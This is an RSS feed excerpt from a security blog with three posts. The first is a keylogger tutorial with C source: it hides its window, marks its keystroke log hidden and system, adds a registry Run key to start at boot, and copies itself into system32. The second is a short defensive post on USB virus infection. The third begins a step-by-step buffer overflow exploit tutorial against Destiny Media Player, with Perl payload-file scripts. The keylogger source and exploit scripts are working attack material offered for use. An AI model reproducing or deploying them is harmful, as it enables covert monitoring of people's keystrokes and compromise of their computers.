       4th Parameter lpParameter:  argv[0] -  A pointer to a variable to be passed to the thread
       5th Parameter dwCreationFlags: 0 - The thread runs immediately after creation.
       6th Parameter pThreadId(out parameter): NULL - the thread identifier is not returned
       If the function succeeds, the return value is a handle to the new thread.
    */</span>
    hThread <span style="color: #339933;">=</span> CreateThread<span style="color: #009900;">&#40;</span>NULL<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #009900;">&#40;</span>LPTHREAD_START_ROUTINE<span style="color: #009900;">&#41;</span>KeyLogger<span style="color: #339933;">,</span> <span style="color: #009900;">&#40;</span>LPVOID<span style="color: #009900;">&#41;</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> NULL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
&nbsp;
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>hThread<span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
       <span style="color: #666666; font-style: italic;">//Waits until the specified object is in the signaled state or the time-out interval elapses.         </span>
       <span style="color: #b1b100;">return</span> WaitForSingleObject<span style="color: #009900;">&#40;</span>hThread<span style="color: #339933;">,</span>INFINITE<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #666666; font-style: italic;">// if it is Null then exit the main function</span>
    <span style="color: #b1b100;">else</span>
    <span style="color: #009900;">&#123;</span>
	   <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>
     <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p><code></code></p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left2">Download <a href="http://www.secsavvy.com/wp-content/plugins/wp-codebox/wp-codebox.php?p=99&amp;download=Main.c">Main.c</a></span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p996"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
</pre></td><td class="code" id="p99code6"><pre class="c" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">/*
  Name: Ayush Anand
  Website: http://www.secsavvy.com
  Date: 27/08/10 22:37
  Description: Main logic of keylogger is taken from Myhook 1.2 beta Open Source Keylogger http://myhook.sourceforge.net/
   I have added following features (or changes)
  * Log file attribute is set to hidden and system
  * Changed the code from C++ to C
  * Added a HotKey Alt+Ctrl+9 to exit the KeyLogger
  * Added Registry entry to auto start the keylogger every time computer boots
  For more details and explanation of code visit http://www.secsavvy.com
  Disclaimer: This program is for Educational Purpose.
*/</span>
&nbsp;
<span style="color: #339933;">#include &lt;windows.h&gt;</span>
<span style="color: #339933;">#include &lt;stdio.h&gt;</span>
<span style="color: #339933;">#include&lt;string.h&gt;</span>
<span style="color: #666666; font-style: italic;">// If visble = 0 then Keylogger is hidden oe visible =1 then keylogger is visible</span>
<span style="color: #993333;">const</span> <span style="color: #993333;">int</span> VISIBLE <span style="color: #339933;">=</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// Function to hide the window of keylogger</span>
<span style="color: #993333;">void</span> ToHide<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
     HWND stealth<span style="color: #339933;">;</span>
&nbsp;
     <span style="color: #808080; font-style: italic;">/* Retrieves a handle to the top-level window whose class name and window name match the specified strings.
        1st Parmeter lpClassName: ConsoleWindowClass - Class Name
        2nd Parameter lpWindowName: parameter is NULL, all window names match. 
        If the function succeeds, the return value is a handle to the window that has the specified class name and window name.
        If the function fails, the return value is NULL.   
     */</span>
     stealth<span style="color: #339933;">=</span>FindWindow<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;ConsoleWindowClass&quot;</span><span style="color: #339933;">,</span>NULL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
     ShowWindow<span style="color: #009900;">&#40;</span>stealth<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">/*
Its add registry entry to start the keylogger automatic every time computer boot
*/</span>
<span style="color: #993333;">void</span> AutoStart<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
     FILE <span style="color: #339933;">*</span>file<span style="color: #339933;">;</span>
     file <span style="color: #339933;">=</span> fopen<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;C:<span style="color: #000099; font-weight: bold;">\\</span>EventLog.log&quot;</span><span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;r&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
     <span style="color: #666666; font-style: italic;">//If file is not present then keylogger is run first time</span>
     <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>file<span style="color: #339933;">==</span>NULL<span style="color: #009900;">&#41;</span>
     <span style="color: #009900;">&#123;</span>
         file<span style="color: #339933;">=</span>fopen<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;C:<span style="color: #000099; font-weight: bold;">\\</span>EventLog.log&quot;</span><span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;a+&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
         <span style="color: #666666; font-style: italic;">//Change the atribute of file to hidden and system type file</span>
         system<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;attrib +h +s C:<span style="color: #000099; font-weight: bold;">\\</span>EventLog.log&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
         fclose<span style="color: #009900;">&#40;</span>file<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
         <span style="color: #666666; font-style: italic;">// Add the registry entry </span>
         system<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;reg add <span style="color: #000099; font-weight: bold;">\&quot;</span>HKLM<span style="color: #000099; font-weight: bold;">\\</span>SOFTWARE<span style="color: #000099; font-weight: bold;">\\</span>Microsoft<span style="color: #000099; font-weight: bold;">\\</span>Windows<span style="color: #000099; font-weight: bold;">\\</span>CurrentVersion<span style="color: #000099; font-weight: bold;">\\</span>Run<span style="color: #000099; font-weight: bold;">\&quot;</span> /v EventLog /d %windir%<span style="color: #000099; font-weight: bold;">\\</span>system32<span style="color: #000099; font-weight: bold;">\\</span>KeyLogger.exe /f&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
         <span style="color: #666666; font-style: italic;">// Copy the exe to system32 directory</span>
         system<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;copy /Y KeyLogger.exe %windir%<span style="color: #000099; font-weight: bold;">\\</span>system32&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
     <span style="color: #009900;">&#125;</span>     
<span style="color: #009900;">&#125;</span>
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span><span style="color: #339933;">*</span> argv<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
&nbsp;
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>VISIBLE <span style="color: #339933;">==</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span>
        ToHide<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>         
    AutoStart<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>     
    StartKeyLogging<span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p><code></code><br />
Download the Keylogger source code from this <a href="http://www.secsavvy.com/wp-content/uploads/2010/09/KeyLogger.zip" target="_blank">link</a>.<br />
Note: I have used <a href="http://www.bloodshed.net/dev/devcpp.html" target="_blank">Dev C++ </a> Compiler.</p>
<div class="highlighter" > Fetaures</div>
<p></br></p>
<ul>
<li> Monitor you every keystroke
<li> Log file attribute is set to hidden and system</li>
<li>Added a HotKey Alt+Ctrl+9 to exit the KeyLogger</li>
<li>Added Registry entry to auto start the keylogger every time computer boots</li>
<li>Log is saved in C:\EventLog.log</a>
</ul>
<p><code></code></p>
<div class="highlighter" > How to remove the keylogger??</div>
<p></br><br />
Delete the KeyLogger.exe from C:\Windows\system32 and delete the registry entry EventLog from &#8220;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.<br />
<code></code><br />
Hope you enjoyed this post , feel free to comment……Happy hacking!!!!!</p>
<div id="crp_related"><br/><b>Related Posts:</b><ul><br/><li><a href="http://www.secsavvy.com/security-tools/image-hijack" rel="bookmark" class="crp_title">How to remap exe to another exe file??? (Image Hijack)</a></li><br/><li><a href="http://www.secsavvy.com/exploit-development/generating-shellcode" rel="bookmark" class="crp_title">Generating Shellcode using Metasploit</a></li><br/><li><a href="http://www.secsavvy.com/forensic/pdf-overview" rel="bookmark" class="crp_title">PDF Overview</a></li><br/><li><a href="http://www.secsavvy.com/malware/virus-defense" rel="bookmark" class="crp_title">Defenses Against Viruses</a></li><br/><li><a href="http://www.secsavvy.com/forensic/cyber-forensic/detecting-gmail-hack" rel="bookmark" class="crp_title">Detecting Gmail Account Hack</a></li><br/></ul><br/></div>
<p><a href="http://feedads.g.doubleclick.net/~a/Ru3BDlY5Mb_BdXtLK1uJF2x3jPc/0/da"><img src="http://feedads.g.doubleclick.net/~a/Ru3BDlY5Mb_BdXtLK1uJF2x3jPc/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/Ru3BDlY5Mb_BdXtLK1uJF2x3jPc/1/da"><img src="http://feedads.g.doubleclick.net/~a/Ru3BDlY5Mb_BdXtLK1uJF2x3jPc/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Secsavvy/~4/RuSI7NIx5cE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.secsavvy.com/malware/keylogger/keylogger-tutorial/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		<feedburner:origLink>http://www.secsavvy.com/malware/keylogger/keylogger-tutorial</feedburner:origLink></item>
		<item>
		<title>Defenses Against Viruses</title>
		<link>http://feedproxy.google.com/~r/Secsavvy/~3/r44p9vBhxnw/virus-defense</link>
		<comments>http://www.secsavvy.com/malware/virus-defense#comments</comments>
		<pubDate>Sun, 22 Aug 2010 10:45:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Malware]]></category>
		<category><![CDATA[Virus]]></category>
		<category><![CDATA[Antivirus]]></category>
		<category><![CDATA[Defenses]]></category>
		<category><![CDATA[Protection]]></category>

		<guid isPermaLink="false">http://www.secsavvy.com/?p=89</guid>
		<description><![CDATA[Today, I will tell you about some simple steps which you can follow to prevent infection of virus on your computer. 1. Never open a removable drive by double clicking on the drive letter in windows Explorer. Suppose you have inserted a USB drive(J:) in your PC, then follow this simple steps to open your [...]]]></description>
			<content:encoded><![CDATA[<p>Today, I will tell you about some simple steps which you can follow to prevent infection of virus on your computer.</p>
<p>1. Never open a removable drive by double clicking on the drive letter in windows Explorer.<br />
<br /></br><span id="more-89"></span></p>
<p>Suppose you have inserted a USB drive(J:) in your PC, then follow this simple steps to open your drive safely<br />
<br /></br></p>
<ul>
<br /></br></p>
<li>Go to Start&#8211;&gt; Run.</li>
<li>Type the drive leter e.g J: and then press enter.</li>
</ul>
<p><strong>Reason:</strong><br />
Many viruses which propagate through removable drive e.g  USB drive, DVD etc. uses a file named autorun.inf to infect your PC. When you double click  the drive then the autorun.inf execute the virus exe to infect your computer.</p>
<p>2.  Always uncheck the option &#8220;Hide Extensions for known file types&#8221; in folder Options. Follow this simple step to uncheck this option</p>
<ul>
<li>Open control panel, go to Folder Options</li>
<li>Click view tab then unchecked the Option &#8220;Hide Extensions for known file types&#8221;</li>
</ul>
<p><img class="aligncenter size-full wp-image-90" title="Folder options" src="http://www.secsavvy.com/wp-content/uploads/2010/08/Folder-options.jpg" alt="Folder Options" width="394" height="481" /></p>
<ul>
<li>Click OK.</li>
</ul>
<p><strong>Reason:</strong><br />
I will show you an example of virus to clear my points. First of all check the option &#8220;Hide Extensions for known file types&#8221;<br />
<a href="http://www.secsavvy.com/wp-content/uploads/2010/08/Folder-Check.jpg"><img class="aligncenter size-full wp-image-91" title="Folder Check" src="http://www.secsavvy.com/wp-content/uploads/2010/08/Folder-Check.jpg" alt="" width="396" height="481" /></a><br />
Now see this folder &#8220;msbackup&#8221; which is actually a virus.<br />
<a href="http://www.secsavvy.com/wp-content/uploads/2010/08/Virus-Folder1.jpg"><img class="aligncenter size-full wp-image-93" title="Virus Folder" src="http://www.secsavvy.com/wp-content/uploads/2010/08/Virus-Folder1.jpg" alt="" width="459" height="358" /></a><br />
As you have check option &#8220;Hide Extensions for known file types&#8221; , you will click on this folder and get infected from this virus. But, if you have unchecked the option then &#8220;Hide Extensions for known file types&#8221; then you will be able to see extenston exe as shown in the screenshot.<br />
<a href="http://www.secsavvy.com/wp-content/uploads/2010/08/Virus-.jpg"><img class="aligncenter size-full wp-image-94" title="Virus" src="http://www.secsavvy.com/wp-content/uploads/2010/08/Virus-.jpg" alt="" width="466" height="358" /></a><br />
Now you can see a executable file with icon of folder then you should not run this type of file as they are virus.</p>
<p>3. You should also check option &#8220;Show Hidden files, folders and drives&#8221; and uncheck &#8220;Hide protected operating system files&#8221; as shown in the screenshot.</p>
<p><a href="http://www.secsavvy.com/wp-content/uploads/2010/08/folder-Option.jpg"><img class="aligncenter size-full wp-image-95" title="Folder Option" src="http://www.secsavvy.com/wp-content/uploads/2010/08/folder-Option.jpg" alt="" width="399" height="482" /></a><strong>Reason: </strong><br />
Most of the virus change their attributes to Hidden and OS System files so we are not ale to see them in Windows Explorer. Now you can delete this virus if you are not infected with this virus.<br />
If you are unable to delete then you are infected with this virus.</p>
<p>4. At last, you should use antivirus software like <a href="http://www.free-av.de/en/trialpay_download/1/avira_antivir_personal__free_antivirus.html" target="_blank">Avira Antivir Personal</a> which is free for personal use and always update the anti virus.</p>
<p>5. We can also create a folder with name autorun.inf in every drive.<br />
<strong>Reason:</strong> Due to this virus can&#8217;t create a file autorun.inf file.<br />
Note: This works fine on Windows XP.</p>
<p>Hope you enjoyed this post , feel free to comment……Happy hacking!!!!!</p>
<div id="crp_related"><br/><b>Related Posts:</b><ul><br/><li><a href="http://www.secsavvy.com/internet-security/want-to-hack-passwords-in-firefox" rel="bookmark" class="crp_title">Want to hack passwords in Firefox??</a></li><br/><li><a href="http://www.secsavvy.com/forensic/cyber-forensic/detecting-gmail-hack" rel="bookmark" class="crp_title">Detecting Gmail Account Hack</a></li><br/><li><a href="http://www.secsavvy.com/security-tools/how-to-hack-google-password" rel="bookmark" class="crp_title">How to hack Google password??</a></li><br/><li><a href="http://www.secsavvy.com/forensic/investigating-corrupted-pdf" rel="bookmark" class="crp_title">Investigating Corrupted PDF</a></li><br/><li><a href="http://www.secsavvy.com/forensic/pdf-overview" rel="bookmark" class="crp_title">PDF Overview</a></li><br/></ul><br/></div>
<p><a href="http://feedads.g.doubleclick.net/~a/jw-plIzAJIGT-JcQd9SJATnB6fM/0/da"><img src="http://feedads.g.doubleclick.net/~a/jw-plIzAJIGT-JcQd9SJATnB6fM/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/jw-plIzAJIGT-JcQd9SJATnB6fM/1/da"><img src="http://feedads.g.doubleclick.net/~a/jw-plIzAJIGT-JcQd9SJATnB6fM/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Secsavvy/~4/r44p9vBhxnw" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.secsavvy.com/malware/virus-defense/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://www.secsavvy.com/malware/virus-defense</feedburner:origLink></item>
		<item>
		<title>How to write buffer Overflow Exploit?</title>
		<link>http://feedproxy.google.com/~r/Secsavvy/~3/8y8-aaLVgQ0/overflow-exploit</link>
		<comments>http://www.secsavvy.com/exploit-development/overflow-exploit#comments</comments>
		<pubDate>Sat, 07 Aug 2010 07:32:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Exploit Development]]></category>
		<category><![CDATA[Exploit Tutorial]]></category>
		<category><![CDATA[Findjmp2]]></category>
		<category><![CDATA[jmp esp]]></category>
		<category><![CDATA[Metasploit]]></category>
		<category><![CDATA[Stack Overflow]]></category>

		<guid isPermaLink="false">http://www.secsavvy.com/?p=68</guid>
		<description><![CDATA[Today, I will show you how to develop your own exploit from scratch or modify exploit to run on different OS. For this purpose,  I have found a Destiny Media Player 1.61 (.rdl) Local Buffer Overflow Exploit from Exploit-db which works fine on Windows XP Pro SP2(Language pack: English) but it didn&#8217;t work on Windows [...]]]></description>
			<content:encoded><![CDATA[<p>Today, I will show you how to develop your own exploit from scratch or modify exploit to run on different OS. For this purpose,  I have found a Destiny Media Player 1.61 (.rdl) Local Buffer Overflow Exploit from <a href="http://www.exploit-db.com/exploits/8535/">Exploit-db</a> which works fine on Windows XP Pro SP2(Language pack: English) but it didn&#8217;t work on Windows XP Pro SP3(Language pack: English).<span id="more-68"></span><br />
<code><br />
</code></p>
<div class="highlighter">Stack Based Overflow Exploit Theory</div>
<p></br></p>
<h5>What is Stack??</h5>
<p>Stack is data structure which follows Last in First Out(LIFO). Stack contains local variable, function info and other details.<br />
There are two operation possible on stack PUSH and POP.</p>
<p><strong>Example:</strong></p>
<div class="examplecode">Initial state of stack<br />
_______________<br />
|______2________|    &lt;&#8212;-Top<br />
|______3________|<br />
|______4________|    &lt;&#8212;- Bottom</p>
<p>Suppose we Push 1 on to the stack , then the stack looks like as shown below:<br />
_______________<br />
|______1________|   &lt;&#8212;-Top<br />
|______2________|<br />
|______3________|<br />
|______4________|    &lt;&#8212;-Bottom</p>
<p>Then we do a single POP operation, 1 is popped out from the stack.<br />
_______________<br />
|______2________|    &lt;&#8212;-Top<br />
|______3________|<br />
|______4________|    &lt;&#8212;-Bottom</p>
<p>Again when we do a single POP operation, 2 is popped out from the stack.</p>
<p>_______________<br />
|______3________| &lt;&#8212;-Top<br />
|______4________|    &lt;&#8212;- Bottom</p>
</div>
<p><code><br />
</code><br />
This is a typical layout of stack when functions call are made in the program.</p>
<div class="examplecode">|_____________________|    Lower memory Address<br />
|      Local Variable                  |<br />
|_____________________|<br />
| Exception Handler             |<br />
|_____________________|<br />
|          EBP                                  |<br />
|_____________________|<br />
|Function Return Address   |<br />
|_____________________|<br />
|Function Parameters         |<br />
|_____________________|&lt;&#8212;-Bottom (Higher memory Address)</div>
<p><code><br />
</code><br />
Consider this C Code</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p68code15'); return false;">View Code</a> C</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p6815"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
</pre></td><td class="code" id="p68code15"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">void</span> DemoFunction<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> parameter1<span style="color: #339933;">,</span> <span style="color: #993333;">int</span> parameter2<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
     <span style="color: #993333;">int</span> localvar <span style="color: #339933;">=</span> <span style="color: #0000dd;">3</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
    DemoFunction<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #339933;">,</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>Stack looks like as shown below for this C code:</p>
<div class="examplecode">|_______________|<br />
|______3________|<br />
|______EBP______|<br />
|______EIP______|<br />
|______1________|<br />
|______2________|    &lt;&#8212;-Bottom</div>
<p></br><br />
So when functions call are made then parameters of function, EIP EBP register and  local variable of function pushed onto to the stack. When function return then saved EIP is popped from the stack and put back into EIP and normal execution of program continues.</p>
<div class="highlighter">Note: Instruction Pointer(IP) register points to the memory address which the processor will next attempt to execute.</div>
<p></br><br />
In the case of Buffer overflow, we overwrite the parameters, EIP and EBP. When function return EIP is popped from the stack and it contains the value which we have overwritten.  So by changing the value of EIP during overflow we change the normal execution of program and we can point EIP to our code address.<br />
<code><br />
</code></p>
<div class="highlighter">Tools Needed</div>
<p></br><br />
1.<a href=" http://msdl.microsoft.com/download/symbols/debuggers/dbg_x86_6.11.1.404.msi" target="_blank">WinDbg</a> : Windows Debugger</p>
<p>Install Windbg  (Full install) ,open cmd and change the current directory to &#8220;C:\Program Files\Debugging Tools for Windows (x86)&#8221;  and type windbg -I .<br />
Open windbg, go to File&#8211;&gt; Symbol File Path and enter <em>&#8220;SRV*C:\symbols*http://msdl.microsoft.com/download/symbols&#8221;</em>(C:\symbols is path of directory)</p>
<p>2.<a href="http://strawberryperl.com/" target="_blank">Perl</a> : Strawbery perl for windows platform</p>
<p>3.<a href="http://www.metasploit.com/framework/download/" target="_blank">Metasploit</a> : Metasploit Framework</p>
<p>4. Download all the perl code used in this tutorial from this <a href="http://www.secsavvy.com/wp-content/uploads/2010/08/Perl-Script.zip" target="_blank">link</a>.</p>
<p>So , let start to get our hand dirty..  <img src='http://www.secsavvy.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
<code><br />
</code></p>
<div class="highlighter">Verify the exploit</div>
<p></br><br />
1. Download Destiny Media Player 1.61 from this <a href="http://www.softpedia.com/progDownload/Destiny-Media-Player-Download-75788.html">link</a>.</p>
<p>2. Install this program on Windows XP Pro SP3.(exploit-db exploit works fine on XP SP2 En but it didn&#8217;t work on XP SP3).</p>
<p>3. Open notepad and write down the perl code as shown below:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left2">Download <a href="http://www.secsavvy.com/wp-content/plugins/wp-codebox/wp-codebox.php?p=68&amp;download=Exploit1.pl">Exploit1.pl</a></span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p6816"><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code" id="p68code16"><pre class="perl" style="font-family:monospace;"><span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$file</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;radio1.rdl&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$junkA</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;A&quot;</span>x4500<span style="color: #339933;">;</span>
<a href="http://perldoc.perl.org/functions/open.html"><span style="color: #000066;">open</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$FILE</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;&gt;$file&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span style="color: #000066;">print</span></a> <span style="color: #0000ff;">$FILE</span> <span style="color: #0000ff;">$junkA</span><span style="color: #339933;">;</span>
<a href="http://perldoc.perl.org/functions/close.html"><span style="color: #000066;">close</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$FILE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span style="color: #000066;">print</span></a> <span style="color: #ff0000;">&quot;rdl File Created successfully<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>4. Save the file with name Exploit1.pl.</p>
<p>5. Open command prompt and enter perl Exploit1.pl.</p>
<p><a href="http://www.secsavvy.com/wp-content/uploads/2010/07/Cmd.jpg"><img class="aligncenter size-full wp-image-70" title="Cmd" src="http://www.secsavvy.com/wp-content/uploads/2010/07/Cmd.jpg" alt="" width="667" height="337" /></a></p>
<p>6. This perl script creates the radio1.rdl with 4500 A character, when we double the click it opens in Destiny Media Player and application crashes.</p>
<p>So, now we will start our exploit development.<br />
<code><br />
</code></p>
<div class="highlighter">Step 1</div>
<p></br><br />
Click radio1.dll , it will open Windows debugger( or if you see debug button click on it).</p>
<p><a href="http://www.secsavvy.com/wp-content/uploads/2010/07/WinDbg414141.jpg"><img class="aligncenter size-full wp-image-69" title="WinDbg414141" src="http://www.secsavvy.com/wp-content/uploads/2010/07/WinDbg414141.jpg" alt="" width="700" height="522" /></a></p>
<p>We can see that EIP is overwriten with 41414141 (AAAAA) so due to overflow EIP(4 bytes)  is overwritten and so we can control the execution of program by modifying the value in EIP. But we don&#8217;t know the size of our buffer to exactly overwrite EIP with our own address.</p>
<p><strong>Tip: Press q in command line in WinDbg to quit.</strong><br />
<code></code></p>
<div class="highlighter">Step 2</div>
<p></br><br />
1. Open notepad and write down the perl code as shown below:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left2">Download <a href="http://www.secsavvy.com/wp-content/plugins/wp-codebox/wp-codebox.php?p=68&amp;download=Exploit2.pl">Exploit2.pl</a></span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p6817"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
</pre></td><td class="code" id="p68code17"><pre class="perl" style="font-family:monospace;"><span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$file</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;radio2.rdl&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$junkA</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;A&quot;</span>x4000<span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$junkB</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;B&quot;</span>x500<span style="color: #339933;">;</span>
<a href="http://perldoc.perl.org/functions/open.html"><span style="color: #000066;">open</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$FILE</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;&gt;$file&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #666666; font-style: italic;"># . concat the two variable</span>
<span style="color: #666666; font-style: italic;"># file contains 4000 A's then 500 B's</span>
<a href="http://perldoc.perl.org/functions/print.html"><span style="color: #000066;">print</span></a> <span style="color: #0000ff;">$FILE</span> <span style="color: #0000ff;">$junkA</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$junkB</span><span style="color: #339933;">;</span>
<a href="http://perldoc.perl.org/functions/close.html"><span style="color: #000066;">close</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$FILE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span style="color: #000066;">print</span></a> <span style="color: #ff0000;">&quot;rdl File Created successfully<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>2. Save the file with name Exploit2.pl.</p>
<p>3. Open command prompt and enter perl Exploit2.pl.</p>
<p>4. Double click the generated radio2.rdl file, it opens windows debugger.</p>
<p><a href="http://www.secsavvy.com/wp-content/uploads/2010/07/WinDbg42424242.jpg"><img class="aligncenter size-full wp-image-71" title="WinDbg42424242" src="http://www.secsavvy.com/wp-content/uploads/2010/07/WinDbg42424242.jpg" alt="" width="705" height="662" /></a></p>
<p>But now EIP is overwritten with 42424242(BBBB) so now we know that the EIP has offset between 4000 and 4500 buffer size. When we dump esp using <strong>d esp</strong> command we are able to see remaining B&#8217;s.</p>
<p><a href="http://www.secsavvy.com/wp-content/uploads/2010/07/desp.jpg"><img class="aligncenter size-full wp-image-72" title="desp" src="http://www.secsavvy.com/wp-content/uploads/2010/07/desp.jpg" alt="" width="667" height="360" /></a><br />
<code></code></p>
<div class="highlighter">Step 3</div>
<p></br><br />
Now we will find the exact offset in our buffer to overwrite EIP with Metasploit.</p>
<p>1. Open cygwin shell. Go to All Programs&#8211;&gt; Metasploit 3&#8211;&gt; Cygwin Shell.</p>
<p>2. Change the directory to msf3/tools</p>
